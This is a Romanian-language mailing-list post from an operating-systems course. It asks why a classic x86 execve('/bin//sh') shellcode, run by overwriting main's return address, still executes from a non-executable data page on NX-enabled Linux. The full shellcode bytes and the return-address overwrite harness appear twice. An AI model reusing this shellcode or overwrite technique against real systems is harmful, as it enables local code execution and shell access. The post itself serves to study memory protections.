[so] pagini si drepturi de executie in Linux. security. (textul corect, v2)
Alexandru Goia
goia.alexandru.linux at gmail.com
Tue Jun 5 19:37:03 EEST 2012
Buna ziua,
Sa zicem ca avem urmatorul cod sursa :
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
int *ret;
ret = (int *)&ret + 2;
*ret = sc;
}
Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).
Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel
32-bit),
caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read & exec,
de la adresa 0x08048000, in care se alfa main(), si o pagina read & write
(but no exec),
in care se afla sc[], de la adresa 0x08049000.
In main, tot ce facem este sa suprascriem pe stiva (care este read & write)
adresa de return a lui main(), care suprascrisa trimite la cod executabil
de la
adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.
So, DE CE functioneaza, totusi ?
Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX enabled,
si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face
rwx pe pagini.
(Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele
cazuri).
Partea a 2-a :
Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai
jos,
vom obtine de fiecare data segmentation fault.
Intrebare : DE CE aici nu "merge", si mai sus "merge" ?
#include <stdio.h>
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
int *ret;
ret = (int *)&ret + 2;
*ret = sc;
printf("Security\n");
}
Referinte :
http://www.enderunix.org/docs/en/bof-eng.txt
http://www.phrack.org/issues.html?issue=49&id=14#article
Cu gandul ca doar cu o cunoastere temeinica a subiectului
si a feature-urilor de securitate pe care le ofera sistemul de operare
putem dormi linistiti daca avem servere conectate la Internet :-),
va multumesc,
Alexandru
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://cursuri.cs.pub.ro/pipermail/so/attachments/20120605/2fc675af/attachment.htm>
More information about the so
mailing list